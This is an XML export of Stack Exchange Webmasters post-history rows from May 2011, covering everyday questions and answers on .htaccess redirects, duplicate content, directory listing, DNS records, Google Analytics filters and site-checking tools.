  <row Id="31119" PostHistoryTypeId="16" PostId="13458" RevisionGUID="15eee1ea-ae39-4fe7-a19b-64699c08e985" CreationDate="2011-05-07T08:31:17.047" UserId="1064" />
  <row Id="31120" PostHistoryTypeId="16" PostId="13459" RevisionGUID="e77a9fdb-0d09-4b1e-a21e-4f737916a14d" CreationDate="2011-05-07T08:31:17.047" UserId="1064" />
  <row Id="31121" PostHistoryTypeId="16" PostId="13461" RevisionGUID="2c1b4178-9e9a-49b4-8f19-7a9d1656509d" CreationDate="2011-05-07T08:31:17.047" UserId="1064" />
  <row Id="31122" PostHistoryTypeId="16" PostId="13466" RevisionGUID="6c05f36b-0853-48e1-98e0-fe5e62a104dc" CreationDate="2011-05-07T08:31:17.047" UserId="1064" />
  <row Id="31123" PostHistoryTypeId="16" PostId="13476" RevisionGUID="b48a85bb-1ab8-42eb-a504-3d5d5d653e1d" CreationDate="2011-05-07T08:31:17.047" UserId="1064" />
  <row Id="31124" PostHistoryTypeId="2" PostId="13480" RevisionGUID="f5714461-79be-450f-8d86-f6fab0e31272" CreationDate="2011-05-07T09:03:26.673" UserId="7353" Text="I have a website with some sub domain folders and seomoz is picking them up as both duplicate content and duplicate page titles. In actual fact, its the same page i.e. www.example.com/subdomain/index.php is seen the same as www.example.com/subdomain/&#xD;&#xA;I want to point everything to the later. &#xD;&#xA;&#xD;&#xA;I'm sure this will be done in the htaccess file. I sorted it for the main site (home page) and everything works fine but when I tried copying the code and re jigging it for the subdomains, either nothing happened or the page went down." />
  <row Id="31125" PostHistoryTypeId="1" PostId="13480" RevisionGUID="f5714461-79be-450f-8d86-f6fab0e31272" CreationDate="2011-05-07T09:03:26.673" UserId="7353" Text="Duplicate content for sub domains i.e. example.com/subdomain/index.php seen the same as example.com/subdomain/" />
  <row Id="31126" PostHistoryTypeId="3" PostId="13480" RevisionGUID="f5714461-79be-450f-8d86-f6fab0e31272" CreationDate="2011-05-07T09:03:26.673" UserId="7353" Text="&lt;htaccess&gt;&lt;subdomain&gt;&lt;duplicate-content&gt;" />
  <row Id="31127" PostHistoryTypeId="5" PostId="13477" RevisionGUID="cfbfd776-cf11-415a-b080-3194bb7e3900" CreationDate="2011-05-07T09:03:53.480" UserId="4451" Comment="added 9 characters in body" Text="When cloaking affiliate links, should they be 301 redirects, or 302 redirects; and why SEO wise?" />
  <row Id="31128" PostHistoryTypeId="25" PostId="13477" RevisionGUID="5bd6f4c8-ce10-4399-a43a-9172afca08a9" CreationDate="2011-05-07T09:11:29.867" Comment="http://twitter.com/#!/StackWebmasters/status/66792257772204032" />
  <row Id="31129" PostHistoryTypeId="2" PostId="13481" RevisionGUID="099d633a-56c6-4bb2-9373-a85ab5dcf9f8" CreationDate="2011-05-07T09:34:28.917" UserId="4502" Text="You didn't mention which specific version you were working with, but there was a release candidate &lt;a href=&quot;http://groups.google.com/group/page-speed-discuss/browse_thread/thread/f0dd6bfa21fe430d&quot;&gt;posted to the PageSpeed Google Group&lt;/a&gt; last week that seems specifically targeted at v4. (Current version is 1.10, that RC is for 1.11.x)  &#xD;&#xA;Might be better than hacking the compatibility value and hoping the UI changes don't blow anything up too badly." />
  <row Id="31130" PostHistoryTypeId="2" PostId="13482" RevisionGUID="472b68c0-7a59-420c-b87f-8cd3ff6c35e0" CreationDate="2011-05-07T09:55:57.767" UserId="4502" Text="Assuming you have Firebug or similar available, you should enable the Net tab and take a look at how much *stuff* is actually involved in making that button happen. (Most such social buttons for that matter.) Here are a couple of &lt;a href=&quot;http://www.allfacebook.com/whats-making-your-site-go-slow-could-be-the-like-button-2010-11&quot;&gt;blog&lt;/a&gt; &lt;a href=&quot;http://www.bhagwad.com/blog/2010/technology/why-facebooks-like-button-is-so-slow.html&quot;&gt;posts&lt;/a&gt; examining this, and for cross-reference a &lt;a href=&quot;http://stackoverflow.com/questions/4776763/facebook-like-buttons-load-very-slowly&quot;&gt;previous SO item&lt;/a&gt; bringing up pretty much the same thing. Basically, it's a known problem. There's not too much you can do about it from your end, though also keep in mind that graph you included is measuring &lt;em&gt;milli&lt;/em&gt;seconds." />
  <row Id="31132" PostHistoryTypeId="2" PostId="13484" RevisionGUID="b9f49fcc-3800-4364-bce8-a153bd228060" CreationDate="2011-05-07T10:09:31.540" UserId="4993" Text="I'm trying to change default HTML charset in dokeos. &#xD;&#xA;&#xD;&#xA;The default charset is `iso-8859-15` and I would like to change it to `ISO-8859-2`.&#xD;&#xA;&#xD;&#xA;I've edited a lot of `*header*.php` files of dokeos' source but still the charset is `15`.&#xD;&#xA;&#xD;&#xA;Does anybody know where to change default charset in dokeos?" />
  <row Id="31133" PostHistoryTypeId="1" PostId="13484" RevisionGUID="b9f49fcc-3800-4364-bce8-a153bd228060" CreationDate="2011-05-07T10:09:31.540" UserId="4993" Text="dokeos - changing charset" />
  <row Id="31134" PostHistoryTypeId="3" PostId="13484" RevisionGUID="b9f49fcc-3800-4364-bce8-a153bd228060" CreationDate="2011-05-07T10:09:31.540" UserId="4993" Text="&lt;cms&gt;" />
  <row Id="31135" PostHistoryTypeId="2" PostId="13485" RevisionGUID="93976a1e-a692-4436-86a5-49776406d064" CreationDate="2011-05-07T10:13:00.540" UserId="861" Text="I have several .pdb files, which should be viewed in my website by clicking a link on a page. But when a pdf file opens, in the address bar it is visible the directory where all .pdf files reside. SO if the user will write in address bar http://mySite.com/myDir he will see and be able to download all files at once. But I don't want! When I [chmod 644 myDir], the files become not visible even for my site - i.e. you can not open them by clicking the link I have mentioned. How to solve this problem?" />
  <row Id="31136" PostHistoryTypeId="1" PostId="13485" RevisionGUID="93976a1e-a692-4436-86a5-49776406d064" CreationDate="2011-05-07T10:13:00.540" UserId="861" Text="How to restric the download of all files in a folder?" />
  <row Id="31137" PostHistoryTypeId="3" PostId="13485" RevisionGUID="93976a1e-a692-4436-86a5-49776406d064" CreationDate="2011-05-07T10:13:00.540" UserId="861" Text="&lt;links&gt;&lt;pdf&gt;&lt;download&gt;" />
  <row Id="31138" PostHistoryTypeId="2" PostId="13486" RevisionGUID="0438ffe8-7410-4977-ba20-a275dff63b0c" CreationDate="2011-05-07T10:18:09.740" UserId="7198" Text="Create an empty file named 'index.html' in your `myDir` folder. Anyone visiting that folder will then see a blank screen instead of a directory listing." />
  <row Id="31139" PostHistoryTypeId="2" PostId="13487" RevisionGUID="cffaeea4-5e00-4bb7-8440-813270c91459" CreationDate="2011-05-07T10:23:04.927" UserId="4502" Text="You should disallow directory browsing. There are a few ways you could to that, depending upon what sort of access you have to the server, but &lt;a href=&quot;http://www.htaccess-guide.com/disable-directory-listings/&quot;&gt;using htaccess&lt;/a&gt; is the simplest." />
  <row Id="31140" PostHistoryTypeId="5" PostId="13484" RevisionGUID="a832e654-d948-40a1-a651-2bfd620f2900" CreationDate="2011-05-07T10:31:14.040" UserId="4993" Comment="added 94 characters in body" Text="I'm trying to change default HTML charset in dokeos. &#xD;&#xA;&#xD;&#xA;The default charset is `iso-8859-15` and I would like to change it to `ISO-8859-2`.&#xD;&#xA;&#xD;&#xA;I've edited a lot of `*header*.php` files of dokeos' source but still the charset is `15`.&#xD;&#xA;&#xD;&#xA;Does anybody know where to change charset to `ISO-8859-2`?&#xD;&#xA;&#xD;&#xA;I know that I can change the charset in custom settings, but there is no `ISO-8859-2` option" />
  <row Id="31142" PostHistoryTypeId="2" PostId="13489" RevisionGUID="3b14196f-7077-42ab-b184-cf2b101fb6b3" CreationDate="2011-05-07T11:16:50.333" UserId="662" Text="i am putting together a website for someone and i wanted to see if there is a standard template to use that includes:&#xD;&#xA;&#xD;&#xA;* pricing (by hour, page or project)&#xD;&#xA;* expected bug fixes&#xD;&#xA;* costs for hosting and support&#xD;&#xA;* additional maintenance.&#xD;&#xA;&#xD;&#xA;i want to avoid missing some point." />
  <row Id="31143" PostHistoryTypeId="1" PostId="13489" RevisionGUID="3b14196f-7077-42ab-b184-cf2b101fb6b3" CreationDate="2011-05-07T11:16:50.333" UserId="662" Text="is there a standard template for a website proposal" />
  <row Id="31144" PostHistoryTypeId="3" PostId="13489" RevisionGUID="3b14196f-7077-42ab-b184-cf2b101fb6b3" CreationDate="2011-05-07T11:16:50.333" UserId="662" Text="&lt;website-design&gt;&lt;pricing&gt;&lt;cost&gt;" />
  <row Id="31145" PostHistoryTypeId="5" PostId="13479" RevisionGUID="490db027-ade2-4214-86e5-db6496084f2a" CreationDate="2011-05-07T11:26:53.390" UserId="1064" Comment="Updated to reflect commented question" Text="Either will put the user at the destination - the redirect status should not make any difference *unless* you plan to change the outgoing link target associated with the redirect key (in which case the 302 Redirect is the better choice, as clients' browsers will ask your server for the new destination on subsequent requests instead of caching it).&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;&gt; What about SEO reasons?&#xD;&#xA;&#xD;&#xA;Your outbound link script should be blocked using the [robots.txt][1] exclusion protocol - unless you want to experiment.&#xD;&#xA;&#xD;&#xA;I can't imagine any potential benefit to telling the search engines that some of your site's internal links are intended to be links to other sites - maybe it will count toward the ranking of those affiliate target pages?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/" />
  <row Id="31146" PostHistoryTypeId="2" PostId="13490" RevisionGUID="da6d22c1-ed52-4772-91d6-219cbaaf40cf" CreationDate="2011-05-07T11:45:34.207" UserDisplayName="purinkle" Text="The `.htaccess` we have in our `document_root` directory is as follows:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;&#xD;&#xA;    RewriteRule ^posts/1/first-post-title$ /posts/1.html [L]&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^/posts/1&#xD;&#xA;    RewriteCond %{REQUEST_URI} !/^posts/1/first-post-title$&#xD;&#xA;    RewriteRule (.*) posts/1/first-post-title [R=301,L]&#xD;&#xA;&#xD;&#xA;With just the first `RewriteRule` line, the server correctly redirects. When the other three lines are included and we navigate to &quot;http://localhost/posts/1/first-post-title&quot;, Safari is giving an error of:&#xD;&#xA;&#xD;&#xA;&gt; Too many redirects occurred trying to open “http://localhost/posts/1/first-post-title”. This might occur if you open a page that is redirected to open another page which then is redirected to open the original page." />
  <row Id="31147" PostHistoryTypeId="1" PostId="13490" RevisionGUID="da6d22c1-ed52-4772-91d6-219cbaaf40cf" CreationDate="2011-05-07T11:45:34.207" UserDisplayName="purinkle" Text="mod_rewrite causing too many redirects" />
  <row Id="31148" PostHistoryTypeId="3" PostId="13490" RevisionGUID="da6d22c1-ed52-4772-91d6-219cbaaf40cf" CreationDate="2011-05-07T11:45:34.207" UserDisplayName="purinkle" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="31149" PostHistoryTypeId="17" PostId="13490" RevisionGUID="26537f54-075a-494b-b42a-aa9ba6224c54" CreationDate="2011-05-07T11:59:20.553" UserId="-1" Comment="from http://serverfault.com/questions/267288/mod-rewrite-causing-too-many-redirects" Text="" />
  <row Id="31150" PostHistoryTypeId="25" PostId="13485" RevisionGUID="21aa7294-6269-4b26-b4cf-cdc9423e65cf" CreationDate="2011-05-07T12:11:30.000" Comment="http://twitter.com/#!/StackWebmasters/status/66837557295595520" />
  <row Id="31151" PostHistoryTypeId="2" PostId="13491" RevisionGUID="fc6ff18b-d59f-4ff5-8f4b-25f5b74b890f" CreationDate="2011-05-07T13:03:25.623" UserId="2225" Text="Your second line (first RewriteCond rule) is causing a perpetual match. The URL you redirect people to is matching and being redirected again. Drop that rule entirely and you should be good to go." />
  <row Id="31152" PostHistoryTypeId="5" PostId="10445" RevisionGUID="370ebd57-c97a-41c6-a2e3-d93ab2edf06b" CreationDate="2011-05-07T13:15:29.300" UserId="1253" Comment="Removed self promotional link" Text="This is not possible until the base domain owner allows to you, or you are the owner of the base domain. However you can create free subdomain from some free sites like Google will provide yourname.blogspot.com and some other will also providing these types of domain name. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31154" PostHistoryTypeId="6" PostId="13484" RevisionGUID="99c93af8-75b3-4b47-8cb1-d10a37f3273c" CreationDate="2011-05-07T13:16:36.163" UserId="1253" Comment="added &quot;dokeos&quot; tag" Text="&lt;cms&gt;&lt;dokeos&gt;" />
  <row Id="31155" PostHistoryTypeId="2" PostId="13492" RevisionGUID="ea7715d2-04fa-40be-9827-1d211ded2eb9" CreationDate="2011-05-07T13:21:05.707" UserId="1253" Text="Using .htaccess you can block it like this:&#xD;&#xA;&#xD;&#xA;    Options -Indexes&#xD;&#xA;&#xD;&#xA;If you want to prevent users from being able to access those files without first being authenticated see [this answer][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2628/permissions-for-serving-up-temporary-files/2635#2635" />
  <row Id="31157" PostHistoryTypeId="2" PostId="13493" RevisionGUID="6d153a76-bef2-49b0-93e9-cc4511c7a671" CreationDate="2011-05-07T13:32:39.027" UserId="1253" Text="Try this:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks &#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www)\. [NC]&#xD;&#xA;    RewriteCond %{HTTP_HOST} ^(.*)\.domain\.com [NC]&#xD;&#xA;    RewriteRule (.*) http://www.domain.com/%1 [R=301,L]&#xD;&#xA;&#xD;&#xA;This is generic and will redirect all subdomains to a subdirectory. If you have only one subdomain you want to redirect you can hardcode it in." />
  <row Id="31158" PostHistoryTypeId="2" PostId="13494" RevisionGUID="e55b348e-0182-4cf9-9e4a-4ebd8188550d" CreationDate="2011-05-07T13:47:23.730" UserId="1253" Text="I would take a [look at the proposals that are out there][1] and see what they all have in common. That would be the basis for your template. Then you can add and remove sections based on each specific proposal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?aq=0&amp;oq=website%20proposal%20templa&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=website%20proposal%20template" />
  <row Id="31159" PostHistoryTypeId="4" PostId="13339" RevisionGUID="81e85545-5a07-4d78-a39d-4023578d8d30" CreationDate="2011-05-07T14:04:34.490" UserId="3948" Comment="edited title" Text="Monitoring JSON requests sent/received from the browser?" />
  <row Id="31160" PostHistoryTypeId="2" PostId="13495" RevisionGUID="7b7b3a5e-dc4b-4fdb-9f54-769c1b3d9dce" CreationDate="2011-05-07T14:39:27.003" UserId="7360" Text="I am web developer. For a new project of mine I decided to built a very complex website using html 5. Having now looked at the [final product][1] I am not sure, should I have just used plain old flash instead? If there are any flash experts here, I'd love to hear your opinion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kulu.lu/devunplugged/" />
  <row Id="31161" PostHistoryTypeId="1" PostId="13495" RevisionGUID="7b7b3a5e-dc4b-4fdb-9f54-769c1b3d9dce" CreationDate="2011-05-07T14:39:27.003" UserId="7360" Text="I've built a new website using html5, should I have built in flash instead?" />
  <row Id="31162" PostHistoryTypeId="3" PostId="13495" RevisionGUID="7b7b3a5e-dc4b-4fdb-9f54-769c1b3d9dce" CreationDate="2011-05-07T14:39:27.003" UserId="7360" Text="&lt;html5&gt;&lt;flash&gt;" />
  <row Id="31163" PostHistoryTypeId="10" PostId="13495" RevisionGUID="28de136e-fdab-4673-a8b4-9fe407e4e261" CreationDate="2011-05-07T14:44:33.530" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31164" PostHistoryTypeId="2" PostId="13496" RevisionGUID="e0ca3427-45b3-40d8-8393-4d20c853ac38" CreationDate="2011-05-07T14:46:22.983" UserId="1064" Text="This is a fairly common problem and John Conde's suggestion to use [canonical URL's][1] is a safe bet.&#xD;&#xA;&#xD;&#xA;You may have other options, depending upon how comfortable you are with editing your server configuration and PHP scripts.&#xD;&#xA;&#xD;&#xA;# Apache mod_rewrite directive&#xD;&#xA;&#xD;&#xA;**Advantages:** Does not require modifying your PHP application.&#xD;&#xA;&#xD;&#xA;**Disadvantages:** Processing overhead for the rewrite engine on every request. (Note that the disk access overhead associated with enabling the `AllowOverride` directive for `.htaccess` support is typically greater than the modest processing overhead incurred by mod_rewrite)&#xD;&#xA;&#xD;&#xA;The following mod_rewrite directives will permanently redirect users to the directory requested if `index.php` is appended:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*)\/index\.php$ /$1/ [R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# PHP conditional&#xD;&#xA;&#xD;&#xA;**Advantages:** Does not require use of mod_rewrite, processing overhead incurred only on PHP file requests.&#xD;&#xA;&#xD;&#xA;**Disadvantages:** Requires editing PHP scripts and introduces potential for scripting errors. Requires knowledge of PHP troubleshooting should errors occur.&#xD;&#xA;&#xD;&#xA;If your application consists of multiple files which all include the same heading file or template, you can add the following conditional block to the file *before* any HTML is printed or echoed: (calls to PHP's [header()][2] function will fail if any output has been sent to the user)&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;        $uri = strtok($_SERVER['REQUEST_URI'],'?');&#xD;&#xA;        if ( 'index.php' == substr($uri, -9) )&#xD;&#xA;        {&#xD;&#xA;			$redirect_uri = ($_SERVER['HTTPS']) ? 'https://' : 'http://';&#xD;&#xA;			$redirect_uri .= $_SERVER['HTTP_HOST'];&#xD;&#xA;            $redirect_uri .= substr( $uri, 0, strlen($uri) - 9 );&#xD;&#xA;            header( 'HTTP/1.1 301 Moved Permanently' );&#xD;&#xA;            header( 'Location: ' . $redirect_uri );&#xD;&#xA;        }&#xD;&#xA;		unset($uri);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;  [2]: http://php.net/manual/en/function.header.php" />
  <row Id="31165" PostHistoryTypeId="2" PostId="13497" RevisionGUID="0ec058d6-fbaf-40d9-a188-e475aaaac7de" CreationDate="2011-05-07T14:50:41.063" UserId="6901" Text="I found this article that has a list of free hosts: http://www.makeuseof.com/tag/top-7-easy-and-free-web-hosting-services/" />
  <row Id="31166" PostHistoryTypeId="25" PostId="13489" RevisionGUID="3bf37a60-99de-4d63-a8ed-69c8378ee526" CreationDate="2011-05-07T15:11:30.090" Comment="http://twitter.com/#!/StackWebmasters/status/66882856647008256" />
  <row Id="31167" PostHistoryTypeId="2" PostId="13498" RevisionGUID="2f0cc65d-8c11-4c4a-bad0-b59c82633563" CreationDate="2011-05-07T15:35:51.103" UserId="23" Text="What if I change Google Adsense ad codes of all pages in a network using a &quot;proxy&quot; or something like that? Or custom addon that changes Adsense codes; to my own Adsense code. There are about 250 computers in that network and all have own unique IP." />
  <row Id="31168" PostHistoryTypeId="1" PostId="13498" RevisionGUID="2f0cc65d-8c11-4c4a-bad0-b59c82633563" CreationDate="2011-05-07T15:35:51.103" UserId="23" Text="What if I change the Google Adsense code of all pages that use my network?" />
  <row Id="31169" PostHistoryTypeId="3" PostId="13498" RevisionGUID="2f0cc65d-8c11-4c4a-bad0-b59c82633563" CreationDate="2011-05-07T15:35:51.103" UserId="23" Text="&lt;google-adsense&gt;&lt;blackhat&gt;" />
  <row Id="31170" PostHistoryTypeId="2" PostId="13499" RevisionGUID="20ed2b43-e6a5-4c43-9e72-9bbad2982eb5" CreationDate="2011-05-07T15:42:35.750" UserId="6901" Text="I was wondering if anyone could tell me what types of links (links to twitter [or other social network] profiles, links to videos, your stack exchange flair, navigational menus, etc.) on your own sites are clicked on the most. It would be helpful if you could also include the demographics that visit your site (computer nerds, etc.)" />
  <row Id="31171" PostHistoryTypeId="1" PostId="13499" RevisionGUID="20ed2b43-e6a5-4c43-9e72-9bbad2982eb5" CreationDate="2011-05-07T15:42:35.750" UserId="6901" Text="What links get the most clicks?" />
  <row Id="31172" PostHistoryTypeId="3" PostId="13499" RevisionGUID="20ed2b43-e6a5-4c43-9e72-9bbad2982eb5" CreationDate="2011-05-07T15:42:35.750" UserId="6901" Text="&lt;links&gt;&lt;analytics&gt;&lt;statistics&gt;" />
  <row Id="31173" PostHistoryTypeId="16" PostId="13499" RevisionGUID="36fa328d-7a23-497b-8176-927c14a62846" CreationDate="2011-05-07T15:54:19.077" UserId="108" />
  <row Id="31174" PostHistoryTypeId="2" PostId="13500" RevisionGUID="ab34e60e-1911-47c2-b8fa-ad80efcfe02b" CreationDate="2011-05-07T16:27:06.193" UserId="5731" Text="Hi is it possible to exclude traffic from a certain country in google analytics? If yes how do I do it?" />
  <row Id="31175" PostHistoryTypeId="1" PostId="13500" RevisionGUID="ab34e60e-1911-47c2-b8fa-ad80efcfe02b" CreationDate="2011-05-07T16:27:06.193" UserId="5731" Text="How to exclude a country" />
  <row Id="31176" PostHistoryTypeId="3" PostId="13500" RevisionGUID="ab34e60e-1911-47c2-b8fa-ad80efcfe02b" CreationDate="2011-05-07T16:27:06.193" UserId="5731" Text="&lt;google-analytics&gt;" />
  <row Id="31177" PostHistoryTypeId="2" PostId="13501" RevisionGUID="7cd41dcb-e02c-41e1-81a0-610ae492a577" CreationDate="2011-05-07T16:30:39.720" UserId="1253" Text="You can exclude traffic originating from a specific country via an [Advanced Segment][1].&#xD;&#xA;&#xD;&#xA;In the Advanced Segment creation interface you'll add the Dimension &quot;Country&quot;, then select &quot;Not containing&quot;  in the pulldown menu, then type Turkey in the text field.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/googleanalytics/bin/answer.py?hl=en-GB&amp;answer=108039" />
  <row Id="31178" PostHistoryTypeId="2" PostId="13502" RevisionGUID="2b6d0e9d-6374-4d26-9797-c1868c728777" CreationDate="2011-05-07T16:46:40.983" UserId="5731" Text="Hi i've got a site serving content to Brazil http://montao.com.br via google app engine getting comfortable with updating it with new function now also adding google adsense and analytics to the site. Now I want to know if you can follow the link to maybe give me some good advice how to use adsense and analytics since adding these tools is adding script that could slow down the pages' load times. &#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="31179" PostHistoryTypeId="1" PostId="13502" RevisionGUID="2b6d0e9d-6374-4d26-9797-c1868c728777" CreationDate="2011-05-07T16:46:40.983" UserId="5731" Text="How to use google adsense and google analytics for my site" />
  <row Id="31180" PostHistoryTypeId="3" PostId="13502" RevisionGUID="2b6d0e9d-6374-4d26-9797-c1868c728777" CreationDate="2011-05-07T16:46:40.983" UserId="5731" Text="&lt;google-analytics&gt;&lt;website-design&gt;&lt;websites&gt;&lt;google-adsense&gt;" />
  <row Id="31181" PostHistoryTypeId="17" PostId="13504" RevisionGUID="f9fb9da4-03cb-4dc8-a85e-c73c988a463f" CreationDate="2011-05-07T16:52:12.750" UserId="-1" Comment="from http://superuser.com/questions/280453/what-dns-records-are-needed-to-point-a-domain-to-an-ip-address/280456#280456" Text="" />
  <row Id="31182" PostHistoryTypeId="2" PostId="13504" RevisionGUID="5eea85e9-7ed9-467f-a2e3-fbcf79f108e3" CreationDate="2011-05-07T15:07:31.830" UserId="4311" Text="Apart from the obvious typo in the IP address, that will do fine as long as you're happy for 123-reg.co.uk to act as the authoritative name server for the domain (which means that if their name servers go down, then your website is effectively offline), you don't care what happens to email sent to @ice-hot.co.uk email addresses, and you don't have an IPV6 address that you want to use as well." />
  <row Id="31183" PostHistoryTypeId="2" PostId="13503" RevisionGUID="419a431d-f739-4420-827c-1f5247b06869" CreationDate="2011-05-07T14:57:08.703" UserDisplayName="spot" Text="I have a newly registered domain ice-hot.co.uk which I have bought from 123-reg.co.uk and I want to point it to IP address 94.76.224.52 which is a VPS hosted by a different company.&#xD;&#xA;&#xD;&#xA;What DNS records do I need to create on 123-reg.co.uk in order to point ice-hot.co.uk and www.ice-hot.co.uk to 94.76.224.52? Is the following anywhere close to correct?...&#xD;&#xA;&#xD;&#xA;    ice-hot.co.uk.    A       94.76.224.52&#xD;&#xA;    www               CNAME   ice-hot.co.uk&#xD;&#xA;&#xD;&#xA;As usual, documentation is long on explanations but short on examples. The 123-reg.co.uk tech support just keep quoting parts of their &quot;help&quot; manual back at me." />
  <row Id="31184" PostHistoryTypeId="1" PostId="13503" RevisionGUID="419a431d-f739-4420-827c-1f5247b06869" CreationDate="2011-05-07T14:57:08.703" UserDisplayName="spot" Text="What DNS records are needed to point a domain to an IP address?" />
  <row Id="31185" PostHistoryTypeId="3" PostId="13503" RevisionGUID="419a431d-f739-4420-827c-1f5247b06869" CreationDate="2011-05-07T14:57:08.703" UserDisplayName="spot" Text="&lt;dns&gt;&lt;domain-names&gt;" />
  <row Id="31186" PostHistoryTypeId="17" PostId="13503" RevisionGUID="e63bbd56-2bc6-46ef-9777-2d49b364818c" CreationDate="2011-05-07T16:52:12.750" UserId="-1" Comment="from http://superuser.com/questions/280453/what-dns-records-are-needed-to-point-a-domain-to-an-ip-address" Text="" />
  <row Id="31187" PostHistoryTypeId="2" PostId="13505" RevisionGUID="064a7d93-c7c3-4b00-84f0-26d62aacaf6c" CreationDate="2011-05-07T17:03:04.720" UserId="5718" Text="If you want to permanently remove traffic from a specific country you can set up a Custom Filter to exclude it. This can be done via the 'Analytics Settings &gt; Profile Settings &gt; Create New Filter' screen. You need to choose the 'Custom Filter' radio button, leave the 'Exclude' setting as it is then select a 'Filter Field' of 'Visitor Country'. Finally enter the country to remove in the 'Filter Pattern' field.&#xD;&#xA;&#xD;&#xA;Remember that this will only take effect going forward after it's applied so the country data will still be included in historical reports. Also, it's not possible to get data back that was excluded so it's best to create a new profile for the filtered data. Just leave what you've got in place and add an additional profile with the filter in place." />
  <row Id="31188" PostHistoryTypeId="5" PostId="13501" RevisionGUID="7c1bccfc-ee14-48cd-ab36-97c0175f36b7" CreationDate="2011-05-07T17:05:48.973" UserId="1253" Comment="added 30 characters in body" Text="You can exclude traffic originating from a specific country via an [Advanced Segment][1].&#xD;&#xA;&#xD;&#xA;In the Advanced Segment creation interface you'll add the Dimension &quot;Country&quot;, then select &quot;Not containing&quot;  in the pulldown menu, then type the country name you wish to exclude in the text field.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/googleanalytics/bin/answer.py?hl=en-GB&amp;answer=108039" />
  <row Id="31189" PostHistoryTypeId="2" PostId="13506" RevisionGUID="91b21c07-d119-4011-958a-5a67a0e5ce77" CreationDate="2011-05-07T17:49:51.213" UserId="6901" Text="Try putting the google analytics code at the bottom (the page will load faster). Other than that, you're good to go." />
  <row Id="31190" PostHistoryTypeId="2" PostId="13507" RevisionGUID="57207941-2f62-4832-af25-81a1e9bb643e" CreationDate="2011-05-07T18:02:40.347" UserId="5837" Text="I am looking for a way to thoroughly check my site against common errors (like 404 links, duplicated title tags and so on). I'd like to define some custom rules too (for example to check if there are no misspellings of my company name, or that every download link is properly marked as such).&#xD;&#xA;&#xD;&#xA;I know that some basic checks can be made through Google Web Toolkit or similar, but it is slow and does not check many things.&#xD;&#xA;&#xD;&#xA;I am now using a custom home-made crawler, but maybe there are better choices?" />
  <row Id="31191" PostHistoryTypeId="1" PostId="13507" RevisionGUID="57207941-2f62-4832-af25-81a1e9bb643e" CreationDate="2011-05-07T18:02:40.347" UserId="5837" Text="Checking correctness of site" />
  <row Id="31192" PostHistoryTypeId="3" PostId="13507" RevisionGUID="57207941-2f62-4832-af25-81a1e9bb643e" CreationDate="2011-05-07T18:02:40.347" UserId="5837" Text="&lt;validation&gt;" />
  <row Id="31194" PostHistoryTypeId="25" PostId="13507" RevisionGUID="e322fdb1-8572-4d52-ba94-bab83635abb1" CreationDate="2011-05-07T18:11:30.923" Comment="http://twitter.com/#!/StackWebmasters/status/66928157525147648" />
  <row Id="31195" PostHistoryTypeId="2" PostId="13508" RevisionGUID="f859c7a7-8946-442f-9cf7-0c5034576d6b" CreationDate="2011-05-07T18:16:42.283" UserId="108" Text="There are tons of tools out there but I would check out these:&#xD;&#xA;&#xD;&#xA; 1. Microsoft's [SEO Toolkit][1] it is part of IIS7 and on.  It will check your entire site for duplicate Title tags, html errors, broken links, etc.  The one thing it won't do is allow you to make custom rules to check for misspellings etc.&#xD;&#xA; 2. Xenu's [Link sleuth][2] is also a great tool and is free.  Again it won't do everything you are looking for but it will do a lot of it.&#xD;&#xA; 3. Another option, specifically for spell checking is [NetMechanic][3].  It looks free and lets you use a custom library.  I have never used it so I cannot vouch for it.&#xD;&#xA;&#xD;&#xA;It is highly unlikely that you will find 1 tool that is free and does everything you want. However, by combining tools you should be able to find a set that solves all of your issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iis.net/download/seotoolkit&#xD;&#xA;  [2]: http://home.snafu.de/tilman/xenulink.html&#xD;&#xA;  [3]: http://www.netmechanic.com/cobrands/FutureQuest/spell_check.htm" />
  <row Id="31197" PostHistoryTypeId="2" PostId="13510" RevisionGUID="a47b4fd8-df7e-4f69-a26d-c94e00ab068f" CreationDate="2011-05-07T18:24:54.287" UserId="1893" Text="I would just trying to think of a popular website &lt;br&gt;&#xD;&#xA;that has hyphens in its domain, and honestly - I was having &lt;br&gt;&#xD;&#xA;problems naming one.&#xD;&#xA;&#xD;&#xA;I have a domain name that I have set my mind on, but it's taken. &lt;br&gt;&#xD;&#xA;However, the same domain with a hyphen in the middle is still available.&#xD;&#xA;&#xD;&#xA;What do you think?" />
  <row Id="31198" PostHistoryTypeId="1" PostId="13510" RevisionGUID="a47b4fd8-df7e-4f69-a26d-c94e00ab068f" CreationDate="2011-05-07T18:24:54.287" UserId="1893" Text="Are hyphens bad for domain names?" />
  <row Id="31199" PostHistoryTypeId="3" PostId="13510" RevisionGUID="a47b4fd8-df7e-4f69-a26d-c94e00ab068f" CreationDate="2011-05-07T18:24:54.287" UserId="1893" Text="&lt;domain-names&gt;" />
